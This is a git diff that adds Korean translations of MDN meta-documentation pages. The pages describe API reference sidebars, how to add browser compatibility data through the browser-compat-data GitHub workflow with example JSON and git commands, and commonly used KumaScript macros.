사용가능한 멤버들입니다. 로케일은 en-US로 가정합니다. 

+ +
    +
  1. +

    "overview" — 값은 배열이고, API 오버뷰 문서의 슬러그입니다. 하나인 경우 "Fetch API"이면 다음 같은 링크를 만듭니다. https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API.

    +
  2. +
  3. +

    "interfaces" — 해당 API의 인터페이스 전체 목록을 담은 배열 입니다. 값이 "Body"이면 다음 과 같은 링크를 만듭니다. https://developer.mozilla.org/en-US/docs/Web/API/Body.

    +
  4. +
  5. +

    "methods" — the value is an array that should contain any methods the spec adds to interfaces associated with other APIs, such as instantiation methods created on {{domxref("Navigator")}} or {{domxref("Window")}}. If there are a huge number of methods, you might want to consider only listing the most popular ones, or putting them first in the list. "WindowOrWorkerGlobalScope.fetch()" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch.

    +
  6. +
  7. +

    "properties" — the value is an array that should contain all of the properties associated with the API. This can include properties that are members of interfaces defined in the API spec, and properties the API defines on other interfaces. If there are a huge number of properties, you might want to consider only listing the most popular ones, or putting them first in the list. "Headers.append" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/API/Headers/append.

    +
  8. +
  9. +

    "events" — the value is an array that should contain all of the events associated with the API, defined in the API spec, or elsewhere. If there are a huge number of events, you might want to consider only listing the most popular ones, or putting them first in the list. "animationstart" results in a link being made to https://developer.mozilla.org/en-US/docs/Web/Events/animationstart.

    +
  10. +
  11. +

    "guides" — the value is an array containing one or more objects that define links to guides explain how to use the API. Each object contains two submembers — "url", which contains the partial URL pointing to the guide article, and "title", which defines the link test for the link. As an example, the following object:

    + +
    { "url":   "/docs/Web/API/Detecting_device_orientation",
    +"title": "Detecting device orientation" }
    + +

    Creates a link with the title "Detecting device orientation", which points to https://developer.mozilla.org/en-US/docs/Web/API/Detecting_device_orientation.

    +
  12. +
+ +

API Submembers and Tags

+ +

Some submembers are automatically discovered from child pages, based on page tags.  Pages under the top-level API are crawled each time the sidebar is rendered, and entries are automatically created for methods ("Method" tag), properties ("Property" tag), and constructors ("Constructor" tag).

+ +

Submembers are automatically decorated with warning icons based on tags as well.  Decorations are added for experimental ("Experimental" tag), non-standard ("Non Standard" or "Non-standard" tag), deprecated ("Deprecated" tag), or obsolete ("Obsolete" tag) submembers.

+ +

Further information about tag-based processing is available in the APIRef source.

+ +

Inserting the sidebar in your pages

+ +

Once you've added an entry for your API into GroupData.json, submitted it as a pull request and had the change accepted into the main repo, you can include it in your API reference pages using the \{{APIRef}} macro, which takes the name you used for your API in GroupData as a parameter. As an example, the WebVR API's sidebar is included in its pages with the following:

+ +

\{{APIRef("WebVR API")}}

diff --git a/files/ko/mdn/structures/api_references/index.html b/files/ko/mdn/structures/api_references/index.html new file mode 100644 index 0000000000..c521b5f4ec --- /dev/null +++ b/files/ko/mdn/structures/api_references/index.html @@ -0,0 +1,58 @@ +--- +title: API 레퍼런스 +slug: MDN/Structures/API_references +tags: + - API + - 가이드 + - 레퍼런스 + - 봉사 +translation_of: MDN/Structures/API_references +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/en-US/docs/MDN")}}
+ +

웹에서 사용 가능한 기술 중 클라이언트 측 자바스크립트 API가 차지하는 비중은 상당히 높습니다. 그렇기 때문에, MDN은 API의 기능과 사용법을 설명하는 광범위한 참조 자료를 보유하고 있습니다. 이 안내 문서는 이런 API 참고 자료를 MDN에 생성하는 방법을 설명합니다. 

+ +

사전 준비

+ +

API를 문서화 하려면 다음이 가능해야 합니다. 

+ +
    +
  1. 최종 버전의 스팩: 그 API를 다루는 스팩의 단계가 W3C 최종 권고안인지, 초안인지는 관계없지만, 최종 버전의 스팩을 참조해야 합니다.  보통은 웹에서 쉽게 검색할 수 있으며, 그 스팩의 모든 버전의 문서에는 보통 최종 버전으로의 링크가 "lastest draft"등의 제목으로 걸려있습니다. 
  2. +
  3. 최신 모던 브라우저: 여러분이 문서화할 기능들은 정식 버전이 아닌 파이어폭스 나이틀리/크롬 카나리와 같은 실험 버전에서 지원할 가능성이 높습니다. 앞서가는 실험적인 API를 문서화 한다면 더욱 이런 버전의 브라우저를 사용해야 합니다. 
  4. +
  5. 데모/블로그 글/다른 정보: 가능하면 최대한 정보를 찾아보세요. 그 API가 어떻게 동작하는지 스스로 익숙히는 좋은 출발점이 됩니다. 주 인터페이스, 프로퍼티, 메서드가 무엇인지, 주요한 유즈 케이스가 어떻게 되는지 배우고, 어떻게 그 기능을 간단시 서술할지 고민하세요. 
  6. +
  7. 기술문의 활용: API 표준화에 참여했거나 브라우저에서 그 스팩을 구현한 누군가에게 기술문의를 할 수 있는 나만의 연락처를 찾을 수 있다면 정말 좋습니다. 다음을 참고하세요. +
      +
    • 관련 업무를 보는 회사에서 근무한다면 사내 주소록
    • +
    • 그 API에 대한 토론 채널에 참여한 공개 메일링 리스트. 모질라의 dev-platform, dev-webapi 목록, public-webapps 같은 W3C 목록 참고
    • +
    • 스팩 문서. 예를 들면 Web Audio API 문서 상단에는 저자들의 연락처가 있음.
    • +
    +
  8. +
+ +

문서 구조

+ +
+
API 레퍼런스 문서에 필요한 것은 무엇일까요? 
+
이 문서는 완벽한 API 레퍼런스 문서에 필요한 것들을 설명합니다. 
+
페이지 타입
+
MDN에서 반복적으로 사용되는 페이지 타입들이 있습니다. 이 문서는 그 타입들의 목적을 설명하고 신규 문서를 만들때 사용할 수 있는 템플릿 예제를 제공합니다. 
+
+ +

페이지의 기능

+ +

API 레퍼런스 문서를 위한 페이지 기능을 생성하는 방법을 설명합니다. 

+ +
+
API 레퍼런스 사이드바
+
작성한 MDN API 레퍼런스 문서에 사이드바를 추가할 때, 여러분은 API와 관련된 인터페이스 튜토리얼, 다른 자료 링크를 맘대로 출력할 수 있습니다. 이 문서는 그 방법을 설명합니다. 
+
API 문법 섹션
+
MDN 참조 문서에서 문법 섹션은 그 기능이 가지고 있는 정확한 문법을 기술한 박스형태를 띄고 있다. (어떤 매개변수가 사용가능한지, 어떤 것이 옵션인지 등) 그 문서는 레퍼런스 문서를 위한 문법 섹션 작성법에 대해 설명합니다. 
+
예제 코드
+
웹 플랫폼 기능 사용법을 설명하는 페이지에는 어김없이 많은 예제 코드가 있습니다. 이 문서는 페이지에 예제 코드를 추가하기 위한 각각의 가능한 메카니즘을 기술합니다. 무엇을 언제 사용해야 하는지도 함께요.
+
스펙 테이블
+
MDN의 모든 레퍼런스 페이지는 API나 기술이 정의된 스팩, 또는 그 스팩에 대한 정보를 제공해야 합니다. 이 문서는 테이블의 형태와 제작 방법을 설명합니다. 
+
호환성 테이블
+
MDN은 오픈 웹 문서, 즉 모든 브라우저에서 공유되는 DOM, HTML, CSS, JavaScript, SVG 등과 같은 기술 문서를 위한 호환성 테이블 표준을 가지고 있습니다. 이 문서는 호환성 데이터를 MDN 페이지에 추가하는 기능 사용법을 다룹니다. 
+
diff --git a/files/ko/mdn/structures/compatibility_tables/index.html b/files/ko/mdn/structures/compatibility_tables/index.html new file mode 100644 index 0000000000..2d1c19eda8 --- /dev/null +++ b/files/ko/mdn/structures/compatibility_tables/index.html @@ -0,0 +1,496 @@ +--- +title: 호환성 표 +slug: MDN/Structures/Compatibility_tables +translation_of: MDN/Structures/Compatibility_tables +--- +
{{MDNSidebar}}
{{IncludeSubnav("/en-US/docs/MDN")}}
+ +

MDN에는 우리의 열린 웹 문서화(즉 모든 브라우저가 공유하는 DOM, HTML, CSS, JavaScript, SVG 등의 기술에 대한 문서화) 의 호환성 표를 위한 표준 형식이 있습니다. 이 글은 우리의 기능들을 이용하여 MDN 페이지들에 호환성 데이터를 추가하는 방법을 다룹니다.

+ +
+

중요: 데이터가 생성되는 방법이 바뀌었습니다. 예전에는 페이지에 넣는 표의 값을 수동으로 넣었습니다. 이 방법은 비효율적이고 유지보수를 어렵도록 하며 데이터가 유연하지 못하게 만듭니다. 그래서 브라우저 호환 데이터를 깃허브 레포지토리(주소: https://github.com/mdn/browser-compat-data)로 옮기고 호환성 표를 코드를 통해 생성하는 방식으로 바꾸었습니다.

+ +

In this guide, we document the new way to add compat data to MDN, but we've still kept documentation covering the old way, as you'll see manual tables on MDN for a while. If you need to see the old documentation, check out our Old compatibility tables article.

+
+ +
+

Note: If you need any help with any steps of this guide, you are welcome to contact us at the MDN discussion forum.

+
+ +

How to access the data repo

+ +

The data is stored in a GitHub repo — see https://github.com/mdn/browser-compat-data. To access it, you need to get a GitHub account, fork the browser-compat-data repo over to your own account, then clone your fork onto your local machine.

+ +

Choosing a feature to add data for

+ +

First of all, find a feature that you want to add browser-compat-data for. This could be an HTML element, CSS property, JS language feature or JS API interface, for example. We would like to encourage you to work on API features, as we already have people working on HTML, JS, and CSS. You can find the status of features that need their data adding to the repo on our Browser Compat Data migration spreadsheet.

+ +

The process for using this is as follows:

+ +
    +
  1. Go ahead and choose a feature that is not already being worked on or complete. Put your name in the "Who" column, preferably along with your MDN username so we can find your email address and contact you if we need to.
  2. +
  3. If the feature you want to work on is not already listed in the spreadsheet, add rows for it in an appropriate place, copying the format that is already there. You should also use the same granularity (e.g. per element for HTML, per property or selector for CSS, per object for JS, per interface for APIs).
  4. +
  5. Once you've started work on adding the data, put the status to "In progress".
  6. +
  7. Once you've added the data and submitted a pull request to the main repo, put the status to "PR done".
  8. +
  9. As your data is merged to the repo, then added to the npm package, update the status as necessary.
  10. +
  11. Once you've updated the documentation page(s) for your feature to use the new macro to dynamically generate the appropriate data table on each page, set the status to "Article updated". At this point, you are done.
  12. +
+ +

Preparing to add the data

+ +

Before adding some new data, you should make sure that your fork is up-to-date with the main repo (it contains the same content), create a new branch inside your fork to contain your additions, then pull that branch into your local clone so you can start working inside it:

+ +

Let's look at a simple way to make sure your fork is to-to-date is as follows:

+ +

Adding the main browser-compat-data repo as a remote

+ +

Go to your local clone of your fork in your terminal/command line, and add a remote pointing to the main (upstream) repo like so (you only need to do this once):

+ +
git remote add upstream https://github.com/mdn/browser-compat-data.git
+ +

If you are unsure whether you've done this, you can check what remotes your repo has using

+ +
git remote -v
+ +

Updating your fork with the remote's content

+ +

Now, whenever you want to update your fork, you can do so by:

+ +
    +
  1. +

    Making sure you are in the master branch:

    + +
    git checkout master
    +
  2. +
  3. +

    fetching the up-to-date repo contents using the following:

    + +
    git fetch upstream
    +
  4. +
  5. +

    rebasing the contents of your master with the main repo's contents:

    + +
    git rebase upstream/master
    +
  6. +
  7. +

    pushing these updates back to your remote fork using this:

    + +
    git push -f
    +
  8. +
+ +

Creating a new branch to do your work in

+ +

Next, go to your remote fork (it will be at https://github.com/your-username/browser-compat-data) and create a new branch to store your changes for this data addition. This can be done by:

+ +
    +
  1. Clicking on the "Branch: Master" button.
  2. +
  3. Entering a new branch name into the "Find or create a branch..." text field.
  4. +
  5. Pressing the resulting "Create branch name-of-branch from Master" button.
  6. +
+ +

For example, if you were wanting to add data for the WebVR API, you'd create a branch called something like "webvr".

+ +

Switching to the new branch

+ +

At this point, go back to your terminal/command line, and update your fork's local clone to include your new branch using the following command:

+ +
git pull
+ +

Now switch to your new branch using this:

+ +
git checkout name-of-branch
+ +

You should now be ready to start adding your data!

+ +

Adding the data

+ +

To add the data, you need to create a new file or files to store your compat data in. The files you need to create differ, depending on what technology you are working on:

+ + + +
+

Note: You'll notice that the repo also contains data for Browser Extensions and HTTP. These data sets are basically finished as they stand, but more features may need to be added in the future.

+
+ +

Each file you create has to follow the pattern defined in the schema contained within our repo; you can see the detailed schema description here.

+ +

Basic compat data structure

+ +

Let's look at an example. CSS property JSON files for example need the following basic structure:

+ +
{
+  "css": {
+    "properties": {
+      "border-width": {
+        "__compat": {
+          ...
+        }
+      }
+    }
+  }
+}
+ +

You have the css object, inside of which is a properties object. Inside the properties object, you need one member for each of the specific features you want to define the compat data for. Each of these members has a __compat member, inside of which the actual data goes.

+ +

The above data is found in the border-width.json file — compare this to the rendered border-width support table on MDN.

+ +

Other types of features work in the same way, but with different object names:

+ + + +
+

In HTML, CSS, and JS pages, you'll normally only need one feature. API interfaces work slightly differently — they always have multiple sub-features (see {{anch("Sub-features")}}, below).

+ +

Basic structure inside a feature

+ +

Inside a feature __compat member, you need to include the following members:

+ + + +

The names of the browser members are defined in the schema (see Browser identifiers). You should use the full list of currently defined identifiers. If you wish to add another browser, talk to us first, as this could have a wide-ranging impact and should not be done without careful thought.

+ +

In a basic browser compat data file, you'll only need to include "version_added" inside the browser identifier members (we'll cover {{anch("Advanced cases")}} later on). The different values you might want to include are as follows:

+ + + +

Inside the status member, you'll include three submembers:

+ + + +

The feature data for border-width (also see border-width.json) is shown below as an example:

+ +
"__compat": {
+  "mdn_url": "https://developer.mozilla.org/docs/Web/CSS/border-width",
+  "support": {
+    "chrome": {
+      "version_added": "1"
+    },
+    "webview_android": {
+      "version_added": "2"
+    },
+    "edge": {
+      "version_added": true
+    },
+    "edge_mobile": {
+      "version_added": true
+    },
+    "firefox": {
+      "version_added": "1"
+    },
+    "firefox_android": {
+      "version_added": "1"
+    },
+    "ie": {
+      "version_added": "4"
+    },
+    "ie_mobile": {
+      "version_added": "6"
+    },
+    "opera": {
+      "version_added": "3.5"
+    },
+    "opera_android": {
+      "version_added": "11"
+    },
+    "safari": {
+      "version_added": "1"
+    },
+    "safari_ios": {
+      "version_added": "3"
+    }
+  },
+  "status": {
+    "experimental": false,
+    "standard_track": true,
+    "deprecated": false
+  }
+}
+ +

Adding a description

+ +

There is a fourth, optional, member that can go inside the __compat member — description. This can be used to include a human-readable description of the feature. You should only include this if it is hard to see what the feature is from glancing at the data. For example, it might not be that obvious what a constructor is from looking at the data structure, so you can include a description like so:

+ +
{
+  "api": {
+    "AbortController": {
+      "__compat": {
+        ...
+      },
+      "AbortController": {
+        "__compat": {
+          "mdn_url": "https://developer.mozilla.org/docs/Web/API/AbortController/AbortController",
+          "description": "<code>AbortController()</code> constructor",
+          "support": {
+            ...
+          }
+        }
+      }
+
+      ... etc.
+    }
+  }
+}
+ +

Sub-features

+ +

In a page where the compat table has more than one row, you'll need multiple subfeatures inside each feature to define the information for each row. This can happen, for example, when you've got the basic support for a feature stored in one row, but then the feature also has a new property or value type that was addded much later in the specification's life and is only supported in a couple of browsers.

+ +

As an example, see the compat data and corresponding MDN page for the background-color property. The basic support exists inside the __compat object as explained above, then you have an additional row for browsers' support for "alpha channel for hex values", which contains its own __compat object.

+ +
{
+  "css": {
+    "properties": {
+      "background-color": {
+        "__compat": {
+          ...
+        },
+        "alpha_ch_for_hex": {
+          "__compat": {
+            ...
+          },
+        }
+      }
+    }
+  }
+}
+ +

For an API, you've got the top two levels defined as api.name-of-the-interface, then a top-level __compat section to define the overall browser compatibility of the interface, then a sub-feature for each of the methods, properties, and constructors contained inside the interface. The basic structure looks like this:

+ +
{
+  "api": {
+    "VRDisplay": {
+      "__compat": {
+        ...
+      },
+      "cancelAnimationFrame": {
+        "__compat": {
+          ...
+        }
+      },
+      "capabilities": {
+        "__compat": {
+          ...
+        }
+      },
+
+      ... etc.
+
+    }
+  }
+}
+ +

See VRDisplay.json for a full example.

+
+ +

Adding data: Advanced cases

+ +

There are some advanced features that you'll want to include in browser compat data. The aim of this section is to list the most common ones, providing an example of each to show how you can implement them in your own compat data.

+ +

Including a footnote

+ +

Often compat tables will include footnotes related to certain entries that explain useful details or strange behavior that developers will find useful. As an example, the Chrome Android entry for {{domxref("VRDisplay.capabilities")}} (see also VRDisplay.json)  (at the time of writing) had a footnote "Currently supported only by Google Daydream." To include this in the capabilities data, we added a "notes" submember inside the relevant "chrome_android" submember; it would look like this:

+ +
"chrome_android": {
+  "version_added": true,
+  "notes": "Currently supported only by Google Daydream."
+}
+ +

Including a vendor prefix

+ +

If a feature is supported behind a vendor prefix in one or more browsers, you'll want to make that clear in the browser compat data. imagine you had a feature that was supported with a -moz- prefix in Firefox. To specify this in the compat data, you'd need to add a "prefix" submember inside the relevant "firefox" submember. It would look something like this:

+ +
"firefox": {
+  "version_added": true,
+  "prefix": "-moz-"
+}
+ +

Including browser preferences or flags

+ +

Some features may be supported in a browser, but they are experimental and turned off by default. If a user wants to play with this feature they need to turn it on using a preference/flag.

+ +

To represent this in the compat data, you need to add the "flags" submember inside the relevant browser identifier submember. The value of "flags" is an array of objects each of which contains of three members:

+ + + +

So to add a preference/flag to the Chrome support for a feature, you'd do something like this:

+ +
"chrome": {
+  "version_added": "50",
+  "flags": [
+    {
+      "type": "preference",
+      "name": "Enable Experimental Web Platform Features",
+      "value_to_set": "true"
+    }
+  ]
+},
+ +

If a feature is behind two or more flags, you can add additional objects to the "flags" array, like in this case, for example:

+ +
"firefox": {
+  "version_added": "57",
+  "flags": [
+    {
+      "type": "preference",
+      "name": "dom.streams.enabled",
+      "value_to_set": "true"
+    },
+    {
+      "type": "preference",
+      "name": "javascript.options.streams",
+      "value_to_set": "true"
+    }
+  ]
+},
+ +

Including a version where support was removed

+ +

Sometimes a feature will be added in a certain browser version, but then removed again as the feature is deprecated. This can be easily represented using the "version_removed" submember, which takes as its value a string representing the version number it was removed on. For example:

+ +
"firefox": {
+  "version_added": "35",
+  "version_removed": "47",
+},
+ +

Including multiple support points for the same browser entry

+ +

Sometimes you'll want to add multiple support data points for the same browser inside the same feature.

+ +

As an example, the {{cssxref("text-align-last")}} property (see also text-align-last.json) was added to Chrome in version 35, supported behind a pref.

+ +

The support mentioned above was then removed in version 47; also in version 47, support was added for text-align-last enabled by default.

+ +

To include both of these data points, you can make the value of the "chrome" submember an array containing two support information objects, rather than just a single support information object:

+ +
"chrome": [
+  {
+    "version_added": "47"
+  },
+  {
+    "version_added": "35",
+    "version_removed": "47",
+    "flags": [
+      {
+        "type": "preference",
+        "name": "Enable Experimental Web Platform Features",
+        "value_to_set": "true"
+      }
+    ]
+  }
+],
+ +
+

Note: You should put the most current or important support point first in the array — this makes the data easier to read for people who just want to scan it for the latest info.

+
+ +

Including an alternative name

+ +

Occasionally browsers will support a feature under a different name to the name defined in its specification. This might be for example because a browser added experimental support for a feature early, and then the name changed before the spec stabilized.

+ +

To include such a case in the browser compat data, you can include a support information point that specifies the alternative name inside an "alternative_name" member.

+ +
+

Note: The alternative name might not be an exact alias — it might have differing behaviour to the standard version.

+
+ +

Let's look at an example. The {{cssxref("border-top-right-radius")}} property (see also border-top-right-radius.json) was supported in Firefox:

+ + + +

To represent this in the data, we used the following JSON:

+ +
"firefox": [
+  {
+    "version_added": "4",
+    "notes": "Prior to Firefox 50.0, border styles of rounded corners were always rendered as if <code>border-style</code> was solid. This has been fixed in Firefox 50.0."
+  },
+  {
+    "prefix": "-webkit-",
+    "version_added": "49",
+    "notes": "From Firefox 44 to 48, the <code>-webkit-</code> prefix was available with the <code>layout.css.prefixes.webkit</code> preference. Starting with Firefox 49, the preference defaults to <code>true</code>."
+  },
+  {
+    "alternative_name": "-moz-border-radius-topright",
+    "version_added": "1",
+    "version_removed": "12"
+  }
+],
+ +

Pushing a change back to the main repo

+ +

Once you are finished with adding your compat data, you should first test it using the following commands:

+ + + +

If it is looking OK, you then need to commit it and push it back up to your remote fork on GitHub. You can do this easily with terminal commands like this:

+ +
git add .
+git commit -m 'adding compat data for name-of-feature'
+git push
+ +

Now go to your remote fork (i.e. https://github.com/your-username/browser-compat-data) and you should see information about your push at the top of the files list (under "Your recently pushed branches"). You can create a pull request (starting the process of pushing this to the main repo) by pressing the "Compare & pull request" button, then following the simple prompts on the subsequent screen.

+ +

At this point, you just need to wait. A reviewer will review your pull request, and merge it with the main repo, OR request that you make changes. If changes are needed, make the changes and submit again until the PR is accepted.

+ +

Inserting the data into MDN pages

+ +

Once your new data has been included in the main repo, you can start dynamically generating browser compat tables based on that data on MDN pages using the \{{Compat}} macro. This takes a single parameter, the dot notation required to walk down the JSON data and find the object representing the feature you want to generate the compat table for.

+ +

Above the macro call, to help other contributors finding their way, you should add a hidden text that is only visible in MDN contributors in edit mode:

+ +
<div class="hidden">
+<p>The compatibility table on this page is generated from structured data.
+If you'd like to contribute to the data, please check out
+<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>
+and send us a pull request.</p>
+</div>
+ +

As an example, on the {{httpheader("Accept-Charset")}} HTTP header page, the macro call looks like this: \{{Compat("http.headers.Accept-Charset")}}. If you look at the accept-charset.json file in the repo, you'll see how this is reflected in the JSON data.

+ +

As another example, The compat table for the {{domxref("VRDisplay.capabilities")}} property is generated using \{{Compat("api.VRDisplay.capabilities")}}. The macro call generates the following table (and corresponding set of notes):

+ +
+ + +

{{Compat("api.VRDisplay.capabilities")}}

+ +
+

Note: The filenames often match the labels given to the interfaces inside the JSON structures, but it is not always the case. When the macro calls generate the tables, they walk through all the files until they find the relevant JSON to use, so the filenames are not critical. Saying that, you should always name them as intuitively as possible.

+
diff --git a/files/ko/mdn/structures/index.html b/files/ko/mdn/structures/index.html new file mode 100644 index 0000000000..7934f5f1f6 --- /dev/null +++ b/files/ko/mdn/structures/index.html @@ -0,0 +1,18 @@ +--- +title: 문서 구조 +slug: MDN/Structures +tags: + - MDN 메타 + - 문서구조 + - 시작하기 +translation_of: MDN/Structures +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/ko/docs/MDN")}}
+ +
MDN에는 정보를 일관되게 표현하기 위해서 반복해서 사용하는 문서 구조들이 있습니다. 여기선 여러분이 글을 작성하고 수정, 번역할 때 받아들이고 적용할 뿐만 아니라 개선할 수 있도록 그 구조에 대해 설명합니다.
+ +
 
+ +

{{LandingPageListSubPages()}}

diff --git a/files/ko/mdn/structures/macros/commonly-used_macros/index.html b/files/ko/mdn/structures/macros/commonly-used_macros/index.html new file mode 100644 index 0000000000..8038d19eba --- /dev/null +++ b/files/ko/mdn/structures/macros/commonly-used_macros/index.html @@ -0,0 +1,220 @@ +--- +title: 흔히 쓰는 매크로 +slug: MDN/Structures/Macros/Commonly-used_macros +tags: + - Reference +translation_of: MDN/Structures/Macros/Commonly-used_macros +--- +
{{MDNSidebar}}
+ +

이 페이지는 MDN에서 사용하기 위해 만든 많은 범용 매크로를 나열합니다. 이 매크로 사용법에 관한 정보는, 매크로 사용하기링크 매크로 사용하기를 참조하세요. 드물게, 특별한 문맥에서만 쓰이거나 사라질(deprecated) 매크로에 관한 정보는 기타 매크로를 참조하세요. MDN의 모든 매크로 전체 목록도 있습니다.

+ +

사용 가능 스타일에 관한 CSS 스타일 안내서도 참조하세요.

+ +

링크하기

+ +

단일 하이퍼링크 생성

+ + + + + +

참고서 내 페이지에 링크하기

+ +

MDN의 특정 참고서(reference) 영역 내 페이지에 링크하는 다양한 매크로가 있습니다.

+ + + +

버그 및 IRC에 링크하기

+ + + +

여러 페이지 안내서를 위한 내비게이션 보조

+ +

{{TemplateLink("Previous")}}, {{TemplateLink("Next")}} 및 {{TemplateLink("PreviousNext")}}는 연속글의 일부인 글을 위한 내비게이션 컨트롤을 제공합니다. 단방향 템플릿의 경우, 필요한 유일한 매개변수는 연속글의 이전 또는 다음 글의 위키 주소입니다. {{TemplateLink("PreviousNext")}}의 경우, 필요한 두 매개변수는 해당 글의 위키 주소입니다. 첫 번째 매개변수는 이전 글이고 두 번째는 다음 글입니다.

+ +

코드 샘플

+ +

실시간 샘플

+ + + +

첨부된 샘플 파일

+ + + +

사이드바 생성

+ +

거의 모든 대규모 페이지 컬렉션 용 템플릿이 있습니다. 보통은 참고서/안내서(guide)/지도서(tutorial)의 메인 페이지로 다시 링크하고 (이동 경로 표시(breadcrumb)가 때때로 이를 수행할 수 없기에 종종 필요함) 글을 적절한 항목(category)에 둡니다.

+ + + +

범용 형식

+ +

API 문서용 인라인 지시자(indicator)

+ +

{{TemplateLink("optional_inline")}} 및 {{TemplateLink("ReadOnlyInline")}}은 API 문서에서 보통 객체의 속성 목록 또는 함수의 매개변수를 기술할 때 사용됩니다.

+ +

용법: \{{optional_inline()}} 또는 \{{ReadOnlyInline()}}. 예:

+ +
+
isCustomObject {{ReadOnlyInline()}}
+
(true)면, 사용자 정의 객체임을 나타냅니다.
+
parameterX {{ optional_inline() }}
+
어쩌고 저쩌고...
+
+ +

상태 및 호환성 지시자

+ +

추가 매개변수가 없는 인라인 지시자

+ +

비표준

+ +

{{TemplateLink("non-standard_inline")}}은 API가 표준화되지 않았고 표준 트랙에 없음을 나타내는 인라인 표시를 삽입합니다.

+ +
구문
+ +

\{{non-standard_inline}}

+ +
+ + + +

실험용

+ +

{{TemplateLink("experimental_inline")}}은 API가 널리 구현되지 않고 앞으로 변경될 수 있음을 나타내는 인라인 표시를 삽입합니다.

+ +
구문
+ +

\{{experimental_inline}}

+ +
+ + + +

기술 지정을 지원하는 인라인 지시자

+ +

이 매크로에서 매개변수(지정된 경우)는 버전 번호가 뒤따르는 문자열 "html", "js", "css" 또는 "gecko" 중 하나여야 합니다.

+ +

Deprecated

+ +

{{TemplateLink("deprecated_inline")}}은 공식으로 사라질 API의 사용을 삼가도록 인라인 사라질(deprecated) 표시를 삽입합니다. 주의: "사라질"은 더 이상 사용되지 않지만 여전히 기능함을 뜻합니다. 전혀 작동하지 않음을 뜻하는 경우, 용어 "안 씀(obsolete)"을 쓰세요.

+ +

모든 브라우저에 쓰일 수 있는 영역(HTML, API, JS, CSS, …)에는 매개변수를 사용하지 마세요.

+ +
구문
+ +

\{{deprecated_inline}} 또는 \{{deprecated_inline("gecko5")}}

+ +
+ + + +

Obsolete

+ +

{{TemplateLink("obsolete_inline")}}은 공식으로 안 쓰는(obsolete) 예를 들어 함수, 메서드 또는 속성이 사용을 막기 위해 인라인 안 씀 표시를 삽입합니다.

+ +

모든 브라우저에 쓰일 수 있는 영역(HTML, API, JS, CSS, …)에는 매개변수를 사용하지 마세요.

+ +
구문
+ +

\{{obsolete_inline}} 또는 \{{obsolete_inline("js1.8.5")}}

+ +
+ + + +

템플릿 배지

+ +

이 매크로는 대부분 WebAPI 페이지에 사용됩니다. 새 배지 생성 정보는 {{anch("Creating new badges")}} 참조.

+ +

페이지 또는 절 표제 지시자

+ +

이 템플릿들은 위에 설명한 자신의 인라인 짝(counterpart)과 같은 의미(semantics)를 갖습니다. 템플릿은 참고 페이지 내 메인 페이지 제목 (또는 가능한 경우 이동 경로 표시(breadcrumb) 내비게이션) 바로 아래에 놓여야 합니다. 페이지 상 절(section)에 표시하는데 사용될 수도 있습니다.

+ + + +

기능을 웹 워커에서 이용가능한 지 나타내기

+ +

{{TemplateLink("AvailableInWorkers")}} 매크로 기능이 웹 워커 컨텍스트에서 이용 가능한지를 나타내는 지역화된 메모 상자를 삽입합니다.

+ +

버전 정보 매크로

+ +

이 매크로는 콘텐츠가 특정 버전의 제품에만 해당됨을 나타내기 위해 사용됩니다.

+ + + +
    +
+ +

 

+ +
    +
+ +

 

diff --git a/files/ko/mdn/structures/macros/index.html b/files/ko/mdn/structures/macros/index.html new file mode 100644 index 0000000000..3e27b26b8a --- /dev/null +++ b/files/ko/mdn/structures/macros/index.html @@ -0,0 +1,46 @@ +--- +title: 매크로 +slug: MDN/Structures/Macros +tags: + - Guide + - Kuma + - KumaScript + - MDN Meta + - Structures +translation_of: MDN/Structures/Macros +--- +
{{MDNSidebar}}

MDN이 돌아가는 Kuma 플랫폼은 매우 다양한 것들을 자동으로 수행할 수 있게 하는 강력한 매크로 시스템인, KumaScript를 제공합니다. 이 글은 글 내에서 MDN의 매크로를 호출하는 법에 관한 정보를 제공합니다.

+ +

KumaScript 안내서는 상세히 고찰한 MDN 상의 매크로 사용법을 제공합니다. 따라서 이 절은 더 짧은 개요입니다.

+ +

매크로가 구현되는 법

+ +

MDN의 매크로는 서버에서 실행되는 JavaScript 코드로 구현되고, Node.js를 사용하여 해석됩니다. 그 위에 우리가 구현한 위키 중심 서비스 및 매크로를 위키 플랫폼 및 그 콘텐츠와 상호 작용하게 하는 기능을 제공하는 많은 라이브러리가 있습니다. 더 배우고 싶다면, KumaScript 안내서를 참조하세요.

+ +

콘텐츠에 매크로 사용하기

+ +

실제로 매크로를 사용하려면, 괄호로 싸인 매개변수(가 있다면)와 함께 매크로 호출을 그저 중괄호 두 쌍으로 두르세요. 즉 다음과 같이:

+ +
\{{macroname(parameter-list)}}
+ +

매크로 호출에 관한 몇 가지 주의사항:

+ + + +

매크로는 다량(heavily) 캐쉬됩니다; 어떠한 일련의 입력 값(매개변수 및 매크로가 실행되었을 URL과 같은 환경 값 모두)에 대해, 그 결과는 저장되고 재사용됩니다. 이는 매크로가 사실 매크로 입력이 바뀔 때만 실행됨을 뜻합니다.

+ +
+

주의: 페이지의 모든 매크로를 브라우저에서 페이지 강제 새로 고침(즉, shift-새로 고침)하여 재평가되게 강제할 수 있습니다.

+
+ +

매크로는 더 큰 텍스트 블록 단순 삽입 또는 MDN의 다른 부분에서 콘텐츠를 교환하는 것처럼 간단하거나, 사이트의 일부를 검색하여 콘텐츠의 전체 색인 구축, 출력 스타일링 및 링크 추가처럼 복잡할 수 있습니다.

+ +

흔히 쓰는 매크로 페이지에서 가장 흔히 쓰는 매크로에 관하여 읽을 수 있습니다; 또한, 여기에 모든 매크로 전체 목록도 있습니다. 매크로 대부분은 상단에 주석으로 내장된 문서가 있습니다.

+ +

{{EditorGuideQuicklinks}}

diff --git a/files/ko/mdn/tools/index.html b/files/ko/mdn/tools/index.html new file mode 100644 index 0000000000..a890d6f76c --- /dev/null +++ b/files/ko/mdn/tools/index.html @@ -0,0 +1,16 @@ +--- +title: MDN 도구들 +slug: MDN/Tools +tags: + - MDN 메타 + - TopicStub + - 시작하기 +translation_of: MDN/Tools +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/ko/docs/MDN")}}
+ +

MDN은 진행 상황을 추적하고 콘텐츠를 관리하며 사이트의 최신 변경 사항을 따라하기 쉽게 해주는 많은 기능을 제공합니다.

+ +

{{LandingPageListSubpages}}

